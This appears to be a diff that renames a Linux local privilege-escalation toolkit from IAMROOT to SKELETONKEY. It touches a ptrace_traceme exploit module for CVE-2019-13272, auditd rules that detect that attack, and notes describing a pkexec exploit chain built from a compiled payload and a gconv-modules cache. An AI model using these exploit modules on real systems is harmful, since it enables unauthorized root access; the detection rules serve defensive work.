@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
perror("execve setuid");
int status;
waitpid(child, &status, 0);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif
}
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
const struct iamroot_module ptrace_traceme_module = {
const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme",
.cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
.detect_falco = NULL,
};
void iamroot_register_ptrace_traceme(void)
void skeletonkey_register_ptrace_traceme(void)
{
iamroot_register(&ptrace_traceme_module);
skeletonkey_register(&ptrace_traceme_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
*/
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_traceme_module;
#endif
+2 -2
View File
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
## IAMROOT detect logic (current)
## SKELETONKEY detect logic (current)
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
2. If not present → IAMROOT_OK (no attack surface)
2. If not present → SKELETONKEY_OK (no attack surface)
3. Run `pkexec --version` and parse version
4. Compare to known-fixed thresholds; report VULNERABLE if below
+2 -2
View File
@@ -14,7 +14,7 @@ Original advisory:
Upstream fix: polkit 0.121 (Jan 2022).
## IAMROOT role
## SKELETONKEY role
The exploit module follows the canonical Qualys-style chain: writes
payload.c + gconv-modules cache, compiles via the target's gcc,
@@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the
legacy ("0.105") and modern ("126") polkit version string formats.
Falls back gracefully on hosts without a compiler.
This is IAMROOT's first **userspace** LPE — not a kernel bug.
This is SKELETONKEY's first **userspace** LPE — not a kernel bug.

Some files were not shown because too many files have changed in this diff Show More